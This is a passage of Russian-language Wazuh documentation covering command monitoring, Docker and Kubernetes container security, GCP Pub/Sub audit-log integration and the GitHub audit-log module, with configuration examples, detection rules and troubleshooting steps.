- Проверьте журнал `/var/ossec/logs/ossec.log` на предмет ошибок HTTP

### Зависимости Python

Модуль требует Python 3.8-3.13 и дополнительные библиотеки:

```bash
/var/ossec/framework/python/bin/pip3 install azure-storage-blob azure-identity
```

## Связанные разделы

- [Мониторинг облачной безопасности](/docs/wazuh/cloud-security/) - обзор облачных интеграций
- [Office 365](/docs/wazuh/cloud-security/wazuh-office365-monitoring/) - мониторинг Microsoft 365 (использует Azure AD)
- [Возможности Wazuh](/docs/wazuh/capabilities/) - модули безопасности платформы


---

# Wazuh Command Monitoring - мониторинг команд

Source: https://opennix.org/docs/wazuh/capabilities/wazuh-command-monitoring/


Модуль мониторинга команд в Wazuh позволяет периодически выполнять произвольные команды на конечных точках и анализировать их вывод через движок правил. Результаты выполнения команд обрабатываются так же, как обычные лог-данные - проходят через декодирование и сопоставление с правилами обнаружения. Этот механизм расширяет возможности мониторинга за пределы лог-файлов, позволяя отслеживать состояние системы, сетевые подключения, запущенные процессы и другие параметры.

## Способы настройки

Wazuh предоставляет два способа мониторинга команд:

### Wodle command

Модуль `wodle command` является предпочтительным методом. Он предоставляет расширенные возможности планирования, верификации скриптов и управления таймаутами.

```xml
<wodle name="command">
  <disabled>no</disabled>
  <tag>check-open-ports</tag>
  <command>netstat -tulnp</command>
  <interval>5m</interval>
  <run_on_start>yes</run_on_start>
  <timeout>30</timeout>
  <ignore_output>no</ignore_output>
</wodle>
```

### Localfile с log_format command

Альтернативный метод через блок `<localfile>` с форматами `command` или `full_command`:

```xml
<localfile>
  <log_format>full_command</log_format>
  <command>netstat -tulnp</command>
  <frequency>120</frequency>
</localfile>
```

Разница между `command` и `full_command`: при `command` каждая строка вывода обрабатывается как отдельное событие, при `full_command` весь вывод формирует одно событие.

## Конфигурация wodle command

### Полная структура XML-блока

```xml
<wodle name="command">
  <disabled>no</disabled>
  <tag>descriptive-name</tag>
  <command>/path/to/script-or-command</command>
  <interval>1d</interval>
  <run_on_start>yes</run_on_start>
  <timeout>300</timeout>
  <ignore_output>no</ignore_output>
  <verify_sha256>hash-value</verify_sha256>
  <skip_verification>no</skip_verification>
</wodle>
```

### Параметры конфигурации

| Параметр | По умолчанию | Описание |
|----------|-------------|----------|
| `disabled` | no | Включение или отключение модуля (yes/no) |
| `tag` | - | Описательное имя для идентификации команды в логах |
| `command` | - | Путь к команде или скрипту с аргументами |
| `interval` | 2s | Интервал между выполнениями (s/m/h/d/M) |
| `run_on_start` | yes | Выполнять при запуске службы (yes/no) |
| `timeout` | 0 | Максимальное время выполнения в секундах (0 - без ограничений) |
| `ignore_output` | no | Подавить логирование вывода (yes/no) |
| `verify_md5` | - | MD5-хеш для верификации исполняемого файла |
| `verify_sha1` | - | SHA1-хеш для верификации |
| `verify_sha256` | - | SHA256-хеш для верификации |
| `skip_verification` | no | Выполнять несмотря на несовпадение хеша (yes/no) |

### Расширенное планирование

Помимо интервального выполнения, wodle command поддерживает привязку к конкретному времени:

```xml
<!-- Выполнение ежедневно в 03:00 -->
<wodle name="command">
  <disabled>no</disabled>
  <tag>daily-audit</tag>
  <command>/usr/local/bin/security-audit.sh</command>
  <time>03:00</time>
  <run_on_start>no</run_on_start>
</wodle>

<!-- Выполнение по понедельникам -->
<wodle name="command">
  <disabled>no</disabled>
  <tag>weekly-report</tag>
  <command>/usr/local/bin/weekly-report.sh</command>
  <wday>monday</wday>
  <time>06:00</time>
</wodle>

<!-- Выполнение 1-го числа каждого месяца -->
<wodle name="command">
  <disabled>no</disabled>
  <tag>monthly-inventory</tag>
  <command>/usr/local/bin/full-inventory.sh</command>
  <day>1</day>
  <time>00:00</time>
</wodle>
```

| Параметр | Описание |
|----------|----------|
| `time` | Время выполнения в формате hh:mm |
| `wday` | День недели (sunday - saturday) |
| `day` | День месяца (1 - 31) |

Параметры `day` и `wday` взаимоисключающие.

## Отслеживание изменений вывода

Одна из ключевых возможностей - обнаружение изменений в выводе команды между последовательными выполнениями. Wazuh сравнивает текущий вывод с предыдущим и генерирует алерт при обнаружении различий.

Для этого применяется формат `full_command` совместно с правилами, отслеживающими изменения:

```xml
<localfile>
  <log_format>full_command</log_format>
  <command>netstat -tulnp | sort</command>
  <frequency>300</frequency>
  <alias>listening-ports</alias>
</localfile>
```

Правило обнаружения для отслеживания новых сетевых слушателей:

```xml
<rule id="100200" level="7">
  <if_sid>530</if_sid>
  <match>ossec: output: 'listening-ports'</match>
  <check_diff/>
  <description>Change detected in listening network ports</description>
  <group>network_monitoring,</group>
</rule>
```

Тег `<check_diff/>` указывает движку правил сравнивать текущий вывод с сохраненным предыдущим результатом.

## Практические сценарии

### Мониторинг открытых портов

```xml
<wodle name="command">
  <disabled>no</disabled>
  <tag>open-ports</tag>
  <command>ss -tulnp</command>
  <interval>5m</interval>
  <run_on_start>yes</run_on_start>
  <timeout>15</timeout>
</wodle>
```

### Мониторинг запущенных процессов

```xml
<wodle name="command">
  <disabled>no</disabled>
  <tag>running-processes</tag>
  <command>ps aux --sort=-rss | head -20</command>
  <interval>10m</interval>
  <run_on_start>yes</run_on_start>
  <timeout>10</timeout>
</wodle>
```

### Мониторинг использования дисков

```xml
<wodle name="command">
  <disabled>no</disabled>
  <tag>disk-usage</tag>
  <command>df -Ph | grep -v tmpfs</command>
  <interval>30m</interval>
  <run_on_start>yes</run_on_start>
  <timeout>10</timeout>
</wodle>
```

Правило для обнаружения высокой загрузки диска:

```xml
<rule id="100210" level="10">
  <if_sid>530</if_sid>
  <match>ossec: output: 'disk-usage'</match>
  <regex>9[0-9]%|100%</regex>
  <description>Disk usage exceeds 90 percent</description>
  <group>system_monitoring,disk_alert,</group>
</rule>
```

### Мониторинг пользовательских сессий

```xml
<wodle name="command">
  <disabled>no</disabled>
  <tag>active-sessions</tag>
  <command>who</command>
  <interval>5m</interval>
  <run_on_start>yes</run_on_start>
  <timeout>5</timeout>
</wodle>
```

### Проверка обновлений безопасности

```xml
<wodle name="command">
  <disabled>no</disabled>
  <tag>security-updates</tag>
  <command>/usr/lib/update-notifier/apt-check --human-readable 2>&1</command>
  <interval>12h</interval>
  <run_on_start>yes</run_on_start>
  <timeout>60</timeout>
</wodle>
```

### Обнаружение USB-устройств

```xml
<wodle name="command">
  <disabled>no</disabled>
  <tag>usb-devices</tag>
  <command>lsusb</command>
  <interval>1m</interval>
  <run_on_start>yes</run_on_start>
  <timeout>5</timeout>
</wodle>
```

## Верификация скриптов

Wodle command поддерживает верификацию целостности исполняемых файлов через контрольные суммы. Это предотвращает выполнение модифицированных злоумышленником скриптов.

```xml
<wodle name="command">
  <disabled>no</disabled>
  <tag>verified-audit</tag>
  <command>/usr/local/bin/audit-check.sh</command>
  <interval>1h</interval>
  <verify_sha256>292a188e498caea5c5fbfb0beca413c980e7a5edf40d47cf70e1dbc33e4f395e</verify_sha256>
  <skip_verification>no</skip_verification>
</wodle>
```

При несовпадении хеша команда не выполняется и генерируется алерт.

## Интеграция с Osquery

Wazuh поддерживает интеграцию с Osquery - инструментом для SQL-подобных запросов к состоянию системы. Результаты Osquery передаются в движок анализа Wazuh для корреляции с другими событиями безопасности.

### Настройка на агенте

Установите Osquery на конечной точке и настройте сбор логов:

```xml
<localfile>
  <log_format>json</log_format>
  <location>/var/log/osquery/osqueryd.results.log</location>
</localfile>
```

### Wodle osquery

Wazuh также предоставляет встроенный wodle для управления Osquery:

```xml
<wodle name="osquery">
  <disabled>no</disabled>
  <run_daemon>yes</run_daemon>
  <bin_path>/usr/bin/osqueryd</bin_path>
  <log_path>/var/log/osquery/osqueryd.results.log</log_path>
  <config_path>/etc/osquery/osquery.conf</config_path>
  <add_labels>yes</add_labels>
</wodle>
```

### Примеры Osquery-запросов

Файл конфигурации Osquery (`osquery.conf`):

```json
{
  "schedule": {
    "listening_ports": {
      "query": "SELECT pid, port, protocol, address FROM listening_ports;",
      "interval": 300
    },
    "installed_packages": {
      "query": "SELECT name, version, source FROM deb_packages;",
      "interval": 3600
    },
    "crontab_entries": {
      "query": "SELECT command, path FROM crontab;",
      "interval": 600
    }
  }
}
```

Результаты Osquery-запросов автоматически обрабатываются правилами Wazuh для генерации алертов при обнаружении аномалий.

## Удаленное выполнение команд

Для централизованного управления мониторингом команды можно настраивать через менеджер Wazuh с применением на агентах. Для этого необходимо разрешить удаленные команды в конфигурации агента:

```
wazuh_command.remote_commands=1
```

Эту настройку следует включать только для доверенных агентов, так как она позволяет менеджеру выполнять произвольные команды на конечной точке.

Подробнее о сборе логов: [Сбор логов Wazuh](/docs/wazuh/capabilities/wazuh-log-data-collection/)

## Устранение неполадок

### Команда не выполняется

- Проверьте, что путь к команде корректен и файл имеет права на выполнение
- Убедитесь, что `<disabled>` установлено в `no`
- Проверьте `/var/ossec/logs/ossec.log` на наличие ошибок модуля
- Для удаленных команд убедитесь, что `wazuh_command.remote_commands=1` включено

### Вывод не попадает в алерты

- Проверьте, что `<ignore_output>` не установлено в `yes`
- Убедитесь, что существуют правила, соответствующие формату вывода
- Проверьте значение `<tag>` - оно используется для идентификации в правилах
- Для `check_diff` убедитесь, что команда выполнена минимум дважды

### Таймаут выполнения

- Увеличьте значение `<timeout>` для длительных операций
- Проверьте, что команда не зависает при отсутствии терминала (TTY)
- Добавьте перенаправление stderr: `command 2>/dev/null`

### Верификация хеша не проходит

- Пересчитайте хеш файла: `sha256sum /path/to/script`
- Обновите значение `<verify_sha256>` в конфигурации
- Временно установите `<skip_verification>yes</skip_verification>` для отладки

Подробнее об архитектуре: [Архитектура Wazuh](/docs/wazuh/getting-started/wazuh-architecture/)

Подробнее о сценариях использования: [Сценарии использования Wazuh](/docs/wazuh/getting-started/wazuh-use-cases/)


---

# Wazuh Container Security - безопасность контейнеров

Source: https://opennix.org/docs/wazuh/capabilities/wazuh-container-security/


Wazuh обеспечивает мониторинг безопасности контейнерных сред через модуль Docker listener и интеграцию с аудит-логами Kubernetes. Платформа отслеживает события жизненного цикла контейнеров, действия пользователей с Docker-ресурсами и изменения в оркестрированных развертываниях. Контейнерная безопасность дополняет классический мониторинг хостовых систем и обеспечивает видимость в динамических средах, где контейнеры создаются и уничтожаются в течение минут.

## Модуль Docker Listener

Модуль `docker-listener` мониторит события Docker-демона: запуск и остановка контейнеров, загрузка образов, выполнение команд внутри контейнеров и другие операции.

### Конфигурация

Модуль настраивается в `ossec.conf` на агенте, установленном на Docker-хосте:

```xml
<wodle name="docker-listener">
  <interval>10m</interval>
  <attempts>5</attempts>
  <run_on_start>yes</run_on_start>
  <disabled>no</disabled>
</wodle>
```

### Параметры конфигурации

| Параметр | По умолчанию | Описание |
|----------|-------------|----------|
| `disabled` | no | Включение или отключение модуля (yes/no) |
| `interval` | 1m | Интервал между проверками событий (s/m/h/d) |
| `attempts` | 5 | Количество попыток при сбое подключения |
| `run_on_start` | yes | Запускать при старте службы агента (yes/no) |

### Расширенное планирование

```xml
<!-- Выполнение в определенное время -->
<wodle name="docker-listener">
  <time>00:00</time>
  <disabled>no</disabled>
  <attempts>3</attempts>
</wodle>

<!-- Выполнение по дням недели -->
<wodle name="docker-listener">
  <wday>monday</wday>
  <time>06:00</time>
  <disabled>no</disabled>
</wodle>
```

### Предварительные требования

Для работы модуля необходимо:

1. Python 3 установлен на Docker-хосте
2. Библиотека Docker SDK для Python: `pip3 install docker`
3. Агент Wazuh имеет доступ к Docker-сокету (`/var/run/docker.sock`)

## Мониторинг событий Docker

Docker listener отслеживает следующие категории событий:

### События контейнеров

| Событие | Описание |
|---------|----------|
| `start` | Запуск контейнера |
| `stop` | Остановка контейнера |
| `create` | Создание контейнера |
| `destroy` | Удаление контейнера |
| `pause` / `unpause` | Приостановка и возобновление |
| `restart` | Перезапуск контейнера |
| `exec_create` / `exec_start` | Выполнение команды внутри контейнера |
| `die` | Аварийная остановка контейнера |
| `kill` | Принудительное завершение |
| `attach` | Подключение к контейнеру |

### События образов

| Событие | Описание |
|---------|----------|
| `pull` | Загрузка образа из реестра |
| `push` | Публикация образа в реестр |
| `delete` | Удаление образа |
| `tag` | Присвоение тега образу |
| `import` | Импорт образа |

### События томов и сетей

| Событие | Описание |
|---------|----------|
| `volume create` / `destroy` | Создание и удаление томов |
| `network connect` / `disconnect` | Подключение и отключение сетей |

### Пример алерта

При запуске контейнера Wazuh генерирует алерт со следующей структурой:

```json
{
  "rule": {
    "id": "87903",
    "level": 3,
    "description": "Docker: Container started"
  },
  "data": {
    "docker": {
      "Type": "container",
      "Action": "start",
      "Actor": {
        "Attributes": {
          "image": "nginx:latest",
          "name": "web-server"
        }
      }
    }
  }
}
```

## Мониторинг среды выполнения контейнеров

Помимо событий Docker API, Wazuh мониторит процессы и файловую систему внутри контейнеров при развертывании агента непосредственно в контейнере.

### Развертывание агента в контейнере

Агент Wazuh может быть развернут как sidecar-контейнер или встроен в образ приложения:

```yaml
# docker-compose.yml
services:
  wazuh-agent:
    image: wazuh/wazuh-agent:4.14.3
    environment:
      - WAZUH_MANAGER=wazuh-manager
      - WAZUH_AGENT_NAME=docker-agent-01
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock:ro
      - /var/log:/var/log:ro
    restart: unless-stopped
    network_mode: host
```

### Мониторинг через Dockerfile

Для встраивания агента в контейнер приложения:

```dockerfile
FROM ubuntu:22.04

RUN apt-get update && \
    apt-get install -y curl apt-transport-https && \
    curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | gpg --dearmor -o /usr/share/keyrings/wazuh.gpg && \
    echo "deb [signed-by=/usr/share/keyrings/wazuh.gpg] https://packages.wazuh.com/4.x/apt/ stable main" > /etc/apt/sources.list.d/wazuh.list && \
    apt-get update && \
    apt-get install -y wazuh-agent && \
    apt-get clean

COPY ossec.conf /var/ossec/etc/ossec.conf

CMD ["/var/ossec/bin/wazuh-control", "start"]
```

### Мониторинг логов контейнеров

Для сбора логов из контейнеров настройте localfile на Docker-хосте:

```xml
<localfile>
  <log_format>json</log_format>
  <location>/var/lib/docker/containers/*/*.log</location>
</localfile>
```

## Аудит Kubernetes

Wazuh интегрируется с Kubernetes через сбор и анализ аудит-логов кластера. Kubernetes audit log фиксирует все запросы к API-серверу, позволяя отслеживать создание, изменение и удаление ресурсов.

### Настройка аудит-политики Kubernetes

Создайте файл политики аудита для Kubernetes API-сервера:

```yaml
# audit-policy.yaml
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
  - level: Metadata
    resources:
      - group: ""
        resources: ["pods", "services", "configmaps", "secrets"]
  - level: RequestResponse
    resources:
      - group: "rbac.authorization.k8s.io"
        resources: ["clusterroles", "clusterrolebindings"]
  - level: Request
    resources:
      - group: ""
        resources: ["pods/exec", "pods/attach"]
```

### Сбор аудит-логов Kubernetes в Wazuh

Настройте пересылку аудит-логов Kubernetes на агент Wazuh:

```xml
<localfile>
  <log_format>json</log_format>
  <location>/var/log/kubernetes/audit/audit.log</location>
</localfile>
```

### Критичные события Kubernetes

Wazuh включает правила для обнаружения следующих событий в Kubernetes:

- Создание привилегированных контейнеров
- Изменение ролей RBAC и привязок ролей
- Доступ к секретам кластера
- Выполнение команд через `kubectl exec`
- Создание контейнеров с монтированием hostPath
- Изменения в сетевых политиках

## Правила обнаружения для контейнеров

Wazuh включает набор встроенных правил для контейнерных сред. Примеры пользовательских правил:

### Обнаружение привилегированного контейнера

```xml
<rule id="100300" level="12">
  <if_sid>87901</if_sid>
  <field name="docker.Actor.Attributes.Privileged">true</field>
  <description>Docker: Privileged container started - $(docker.Actor.Attributes.name)</description>
  <mitre>
    <id>T1610</id>
  </mitre>
  <group>container_security,privilege_escalation,</group>
</rule>
```

### Обнаружение exec в контейнере

```xml
<rule id="100301" level="8">
  <if_sid>87903</if_sid>
  <field name="docker.Action">exec_start</field>
  <description>Docker: Command executed inside container - $(docker.Actor.Attributes.name)</description>
  <mitre>
    <id>T1609</id>
  </mitre>
  <group>container_security,command_execution,</group>
</rule>
```

### Обнаружение загрузки образа из неизвестного реестра

```xml
<rule id="100302" level="10">
  <if_sid>87904</if_sid>
  <field name="docker.Action">pull</field>
  <field name="docker.Actor.Attributes.name" negate="yes">^docker\.io|^registry\.internal</field>
  <description>Docker: Image pulled from untrusted registry</description>
  <group>container_security,supply_chain,</group>
</rule>
```

## Дашборд Docker в Wazuh

Wazuh Dashboard предоставляет специализированный вид для контейнерных событий. Дашборд отображает:

- Хронологию событий контейнеров
- Статистику по типам событий (start, stop, exec)
- Список активных контейнеров
- События безопасности, связанные с контейнерами
- Информацию об образах и их версиях

Доступ к дашборду: **Wazuh Dashboard - Modules - Docker Listener**.

Подробнее об установке Wazuh: [Быстрый старт](/docs/wazuh/installation/wazuh-quickstart/)

## Устранение неполадок

### Docker listener не собирает события

- Проверьте, что Python 3 и Docker SDK установлены: `pip3 show docker`
- Убедитесь, что агент имеет доступ к `/var/run/docker.sock`
- Проверьте права пользователя `wazuh` на чтение Docker-сокета
- Просмотрите `/var/ossec/logs/ossec.log` на наличие ошибок модуля

### События Kubernetes не обрабатываются

- Проверьте, что аудит-политика Kubernetes применена к API-серверу
- Убедитесь, что путь к аудит-логу корректен в `<location>`
- Проверьте формат аудит-лога: должен быть JSON
- Убедитесь, что правила для Kubernetes загружены в Wazuh

### Агент в контейнере не подключается к менеджеру

- Проверьте сетевую связность между контейнером и менеджером
- Убедитесь, что переменная `WAZUH_MANAGER` указывает на корректный адрес
- Проверьте, что порт 1514 (TCP/UDP) доступен для агента
- При использовании `network_mode: host` проверьте firewall-правила хоста

### Высокий объем событий

- Настройте фильтрацию событий Docker через правила Wazuh
- Увеличьте `<interval>` в конфигурации docker-listener
- Исключите шумные события (healthcheck, stats) через пользовательские правила

Подробнее о сборе логов: [Сбор логов Wazuh](/docs/wazuh/capabilities/wazuh-log-data-collection/)

Подробнее об Active Response: [Active Response](/docs/wazuh/capabilities/wazuh-active-response/)


---

# Wazuh GCP - мониторинг Google Cloud Platform

Source: https://opennix.org/docs/wazuh/cloud-security/wazuh-gcp-monitoring/


Wazuh обеспечивает мониторинг безопасности Google Cloud Platform через модуль `gcp-pubsub`, который получает события Cloud Audit Logs через подписки Google Cloud Pub/Sub. Модуль обрабатывает четыре типа журналов аудита: доступ к данным, привилегированные действия администраторов, системные события и DNS-запросы. Интеграция позволяет централизовать анализ облачных угроз GCP в платформе Wazuh.

## Поддерживаемые источники данных

### Cloud Audit Logs

Google Cloud Audit Logs фиксируют все действия в проектах GCP. Wazuh обрабатывает следующие типы журналов:

| Тип журнала | Описание | Примеры событий |
|-------------|----------|-----------------|
| Admin Activity | Привилегированные операции администраторов | Создание VM, изменение IAM-политик, настройка сети |
| Data Access | Доступ к данным пользователей | Чтение объектов Cloud Storage, запросы BigQuery |
| System Event | Системные события GCP | Автоматическое масштабирование, миграция VM |
| Policy Denied | Отклоненные запросы политиками | Нарушения организационных политик |

### Pub/Sub

Google Cloud Pub/Sub - это управляемый сервис обмена сообщениями, который выступает транспортным механизмом между Cloud Audit Logs и модулем Wazuh. Pub/Sub обеспечивает надежную доставку событий с автоматической буферизацией.

### Cloud Storage

Модуль также поддерживает мониторинг бакетов Cloud Storage для сбора журналов, экспортированных через Cloud Logging Sinks.

## Настройка сервисного аккаунта

Для работы модуля необходимо создать сервисный аккаунт GCP с соответствующими ролями и сгенерировать JSON-ключ.

### Создание сервисного аккаунта

1. Перейдите в **IAM & Admin - Service Accounts** в Google Cloud Console
2. Нажмите **+ CREATE SERVICE ACCOUNT**
3. Укажите имя (например, `wazuh-pubsub-reader`) и описание
4. Назначьте роли:

| Роль | Назначение |
|------|------------|
| `Pub/Sub Subscriber` | Получение сообщений из подписки |
| `Pub/Sub Publisher` | Публикация подтверждений обработки |
| `Storage Object User` | Доступ к бакетам Cloud Storage (при необходимости) |

### Генерация JSON-ключа

1. Выберите созданный сервисный аккаунт
2. Перейдите на вкладку **Keys**
3. Нажмите **ADD KEY - Create new key - JSON**
4. Сохраните скачанный файл

### Размещение ключа на сервере Wazuh

```bash
sudo cp credentials.json /var/ossec/wodles/gcloud/gcp-credentials.json
sudo chown root:wazuh /var/ossec/wodles/gcloud/gcp-credentials.json
sudo chmod 640 /var/ossec/wodles/gcloud/gcp-credentials.json
```

### Структура JSON-ключа

```json
{
  "type": "service_account",
  "project_id": "my-gcp-project",
  "private_key_id": "key-id-example",
  "private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n",
  "client_email": "wazuh-pubsub-reader@my-gcp-project.iam.gserviceaccount.com",
  "client_id": "123456789012345678901",
  "auth_uri": "https://accounts.google.com/o/oauth2/auth",
  "token_uri": "https://oauth2.googleapis.com/token",
  "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
  "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/wazuh-pubsub-reader%40my-gcp-project.iam.gserviceaccount.com"
}
```

## Настройка Pub/Sub

### Создание топика

Создайте Pub/Sub-топик для получения событий Cloud Audit Logs:

```bash
gcloud pubsub topics create wazuh-audit-logs \
  --project=my-gcp-project
```

### Создание подписки

Создайте подписку для топика:

```bash
gcloud pubsub subscriptions create wazuh-audit-subscription \
  --topic=wazuh-audit-logs \
  --ack-deadline=60 \
  --message-retention-duration=7d \
  --project=my-gcp-project
```

### Настройка Cloud Logging Sink

Создайте sink для экспорта Cloud Audit Logs в Pub/Sub-топик:

```bash
gcloud logging sinks create wazuh-audit-sink \
  pubsub.googleapis.com/projects/my-gcp-project/topics/wazuh-audit-logs \
  --log-filter='logName:"cloudaudit.googleapis.com"' \
  --project=my-gcp-project
```

После создания sink, предоставьте сервисному аккаунту sink права на публикацию в топике:

```bash
gcloud pubsub topics add-iam-policy-binding wazuh-audit-logs \
  --member="serviceAccount:SINK_SERVICE_ACCOUNT" \
  --role="roles/pubsub.publisher" \
  --project=my-gcp-project
```

## Конфигурация модуля gcp-pubsub

Модуль настраивается в `ossec.conf` на сервере Wazuh или агенте.

### Базовая конфигурация

```xml
<wodle name="gcp-pubsub">
  <enabled>yes</enabled>
  <project_id>my-gcp-project</project_id>
  <subscription_name>wazuh-audit-subscription</subscription_name>
  <credentials_file>/var/ossec/wodles/gcloud/gcp-credentials.json</credentials_file>
  <interval>1m</interval>
  <max_messages>100</max_messages>
  <pull_on_start>yes</pull_on_start>
</wodle>
```

### Конфигурация с фильтрацией

```xml
<wodle name="gcp-pubsub">
  <enabled>yes</enabled>
  <project_id>my-gcp-project</project_id>
  <subscription_name>wazuh-audit-subscription</subscription_name>
  <credentials_file>/var/ossec/wodles/gcloud/gcp-credentials.json</credentials_file>
  <interval>5m</interval>
  <max_messages>200</max_messages>
  <pull_on_start>yes</pull_on_start>
  <logging>info</logging>
</wodle>
```

### Мониторинг нескольких проектов

```xml
<wodle name="gcp-pubsub">
  <enabled>yes</enabled>
  <project_id>production-project</project_id>
  <subscription_name>wazuh-prod-subscription</subscription_name>
  <credentials_file>/var/ossec/wodles/gcloud/prod-credentials.json</credentials_file>
  <interval>1m</interval>
  <max_messages>100</max_messages>
  <pull_on_start>yes</pull_on_start>
</wodle>

<wodle name="gcp-pubsub">
  <enabled>yes</enabled>
  <project_id>staging-project</project_id>
  <subscription_name>wazuh-staging-subscription</subscription_name>
  <credentials_file>/var/ossec/wodles/gcloud/staging-credentials.json</credentials_file>
  <interval>5m</interval>
  <max_messages>50</max_messages>
  <pull_on_start>yes</pull_on_start>
</wodle>
```

### Параметры модуля

| Параметр | Значение по умолчанию | Описание |
|----------|-----------------------|----------|
| `enabled` | yes | Включение или отключение модуля |
| `project_id` | - | Идентификатор проекта GCP |
| `subscription_name` | - | Имя Pub/Sub-подписки |
| `credentials_file` | - | Путь к JSON-файлу ключа сервисного аккаунта |
| `interval` | 1m | Интервал опроса подписки (s/m/h/d) |
| `max_messages` | 100 | Максимальное количество сообщений за один цикл |
| `pull_on_start` | yes | Получить сообщения при старте модуля |
| `logging` | info | Уровень журналирования (debug, info, warning, error) |

## Примеры алертов

### Изменение IAM-политики

```json
{
  "rule": {
    "id": "65032",
    "level": 7,
    "description": "GCP: IAM policy modified"
  },
  "data": {
    "gcp": {
      "logName": "projects/my-project/logs/cloudaudit.googleapis.com%2Factivity",
      "protoPayload": {
        "methodName": "google.iam.admin.v1.SetIamPolicy",
        "authenticationInfo": {
          "principalEmail": "admin@company.com"
        },
        "resourceName": "projects/my-project",
        "serviceName": "iam.googleapis.com"
      }
    }
  }
}
```

### Изменение правил фаервола

```json
{
  "rule": {
    "id": "65040",
    "level": 8,
    "description": "GCP: Firewall rule modified"
  },
  "data": {
    "gcp": {
      "protoPayload": {
        "methodName": "v1.compute.firewalls.insert",
        "authenticationInfo": {
          "principalEmail": "devops@company.com"
        },
        "request": {
          "name": "allow-all-ingress",
          "direction": "INGRESS",
          "allowed": [{"IPProtocol": "tcp", "ports": ["0-65535"]}],
          "sourceRanges": ["0.0.0.0/0"]
        }
      }
    }
  }
}
```

### Доступ к Cloud Storage

```json
{
  "rule": {
    "id": "65050",
    "level": 5,
    "description": "GCP: Cloud Storage object accessed"
  },
  "data": {
    "gcp": {
      "protoPayload": {
        "methodName": "storage.objects.get",
        "authenticationInfo": {
          "principalEmail": "user@company.com"
        },
        "resourceName": "projects/_/buckets/sensitive-data/objects/credentials.csv",
        "serviceName": "storage.googleapis.com"
      }
    }
  }
}
```

## Сценарии использования

### Обнаружение изменений IAM

- Добавление новых участников в проект с привилегированными ролями
- Создание сервисных аккаунтов с ролью Owner
- Изменение политик IAM на уровне организации
- Создание пользовательских ролей с избыточными разрешениями

### Мониторинг изменений фаервола

- Создание правил, разрешающих входящий трафик с `0.0.0.0/0`
- Удаление ограничивающих правил фаервола
- Изменение правил для критических подсетей
- Открытие портов управления (SSH, RDP) для публичного доступа

### Контроль доступа к хранилищу

- Доступ к бакетам с конфиденциальными данными
- Изменение ACL или IAM-политик бакетов
- Массовое скачивание объектов
- Изменение настроек шифрования бакетов

## Устранение неполадок

### Модуль не получает сообщения

- Проверьте правильность `project_id` и `subscription_name`
- Убедитесь, что JSON-ключ сервисного аккаунта валиден
- Проверьте, что подписка активна: `gcloud pubsub subscriptions describe wazuh-audit-subscription`
- Убедитесь, что Cloud Logging Sink создан и направляет логи в топик
- Проверьте журнал: `/var/ossec/logs/ossec.log`

### Ошибка Permission Denied

- Проверьте, что сервисному аккаунту назначены роли Pub/Sub Subscriber и Publisher
- Убедитесь, что сервисный аккаунт sink имеет доступ к топику
- Проверьте, что ключ не отозван в Google Cloud Console

### Задержки в доставке событий

- Уменьшите значение `interval` (например, до 30s)
- Увеличьте `max_messages` для обработки большего числа событий за цикл
- Проверьте, что подписка не накапливает непрочитанные сообщения
- Рассмотрите создание отдельных подписок для разных типов логов

### Зависимости Python

Модуль требует Python 3 и библиотеки Google Cloud:

```bash
/var/ossec/framework/python/bin/pip3 install google-cloud-pubsub google-cloud-storage
```

## Связанные разделы

- [Мониторинг облачной безопасности](/docs/wazuh/cloud-security/) - обзор облачных интеграций
- [Мониторинг AWS](/docs/wazuh/cloud-security/wazuh-aws-monitoring/) - интеграция с Amazon Web Services
- [Возможности Wazuh](/docs/wazuh/capabilities/) - модули безопасности платформы


---

# Wazuh GitHub - мониторинг аудита организаций

Source: https://opennix.org/docs/wazuh/cloud-security/wazuh-github-monitoring/


Wazuh обеспечивает мониторинг безопасности организаций GitHub через модуль `github`, который собирает события аудита через GitHub Audit Log API. Модуль отслеживает действия с репозиториями, управление участниками и командами, изменения настроек организации и git-операции. Интеграция позволяет обнаруживать изменения видимости репозиториев, добавление внешних коллабораторов, события secret scanning и другие критичные действия в рамках организации.

## GitHub Audit Log API

GitHub Audit Log API предоставляет доступ к журналу аудита организации GitHub Enterprise Cloud. API фиксирует все действия, выполненные участниками организации, включая административные операции и git-события.

Для использования API требуется:
- Подписка **GitHub Enterprise Cloud**
- Статус **Owner** в организации GitHub
- Персональный токен доступа с соответствующими scopes

## Персональный токен доступа

### Создание токена

1. Перейдите в **Settings - Developer settings - Personal access tokens - Tokens (classic)**
2. Нажмите **Generate new token (classic)**
3. Укажите описательное имя (например, `Wazuh Audit Log Reader`)
4. Установите срок действия
5. Выберите необходимые scopes

### Необходимые scopes

| Scope | Описание |
|-------|----------|
| `admin:org` | Полный доступ к управлению организацией (включает чтение audit log) |
| `audit_log` | Чтение журнала аудита организации |
| `repo` | Доступ к событиям репозиториев (для частных репозиториев) |

Минимально необходимый scope - `audit_log`. Scope `admin:org` предоставляет расширенный доступ к событиям управления участниками и командами.

6. Нажмите **Generate token**
7. Скопируйте токен (отображается только один раз)

## Конфигурация модуля github

Модуль настраивается в `ossec.conf` на сервере Wazuh.

### Базовая конфигурация

```xml
<github>
  <enabled>yes</enabled>
  <interval>1m</interval>
  <time_delay>1m</time_delay>
  <curl_max_size>1M</curl_max_size>
  <only_future_events>yes</only_future_events>
  <api_auth>
    <org_name>my-organization</org_name>
    <api_token>ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx</api_token>
  </api_auth>
  <api_parameters>
    <event_type>all</event_type>
  </api_parameters>
</github>
```

### Мониторинг только web-событий

```xml
<github>
  <enabled>yes</enabled>
  <interval>5m</interval>
  <time_delay>1m</time_delay>
  <curl_max_size>1M</curl_max_size>
  <only_future_events>yes</only_future_events>
  <api_auth>
    <org_name>my-organization</org_name>
    <api_token>ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx</api_token>
  </api_auth>
  <api_parameters>
    <event_type>web</event_type>
  </api_parameters>
</github>
```

### Мониторинг нескольких организаций

```xml
<github>
  <enabled>yes</enabled>
  <interval>1m</interval>
  <time_delay>1m</time_delay>
  <curl_max_size>1M</curl_max_size>
  <only_future_events>yes</only_future_events>
  <api_auth>
    <org_name>production-org</org_name>
    <api_token>ghp_production_token_xxxxxxxxxxxxx</api_token>
  </api_auth>
